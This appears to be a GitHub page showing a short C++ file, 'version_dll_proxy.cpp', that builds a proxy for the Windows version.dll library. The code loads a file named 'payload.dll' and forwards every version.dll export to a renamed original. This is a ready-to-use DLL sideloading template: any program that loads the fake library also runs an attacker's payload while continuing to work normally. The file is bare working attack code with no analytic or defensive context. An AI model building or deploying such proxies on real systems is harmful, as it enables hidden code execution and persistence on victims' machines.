-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathversion_dll_proxy.cpp
More file actions
21 lines (18 loc) · 1.51 KB
/
version_dll_proxy.cpp
File metadata and controls
21 lines (18 loc) · 1.51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HINSTANCE hDll = LoadLibraryA("payload.dll");
#pragma comment(linker, "/export:GetFileVersionInfoA=version2.GetFileVersionInfoA,@1")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=version2.GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/export:GetFileVersionInfoExA=version2.GetFileVersionInfoExA,@3")
#pragma comment(linker, "/export:GetFileVersionInfoExW=version2.GetFileVersionInfoExW,@4")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=version2.GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=version2.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=version2.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=version2.GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/export:GetFileVersionInfoW=version2.GetFileVersionInfoW,@9")
#pragma comment(linker, "/export:VerFindFileA=version2.VerFindFileA,@10")
#pragma comment(linker, "/export:VerFindFileW=version2.VerFindFileW,@11")
#pragma comment(linker, "/export:VerInstallFileA=version2.VerInstallFileA,@12")
#pragma comment(linker, "/export:VerInstallFileW=version2.VerInstallFileW,@13")
#pragma comment(linker, "/export:VerLanguageNameA=version2.VerLanguageNameA,@14")
#pragma comment(linker, "/export:VerLanguageNameW=version2.VerLanguageNameW,@15")
#pragma comment(linker, "/export:VerQueryValueA=version2.VerQueryValueA,@16")
#pragma comment(linker, "/export:VerQueryValueW=version2.VerQueryValueW,@17")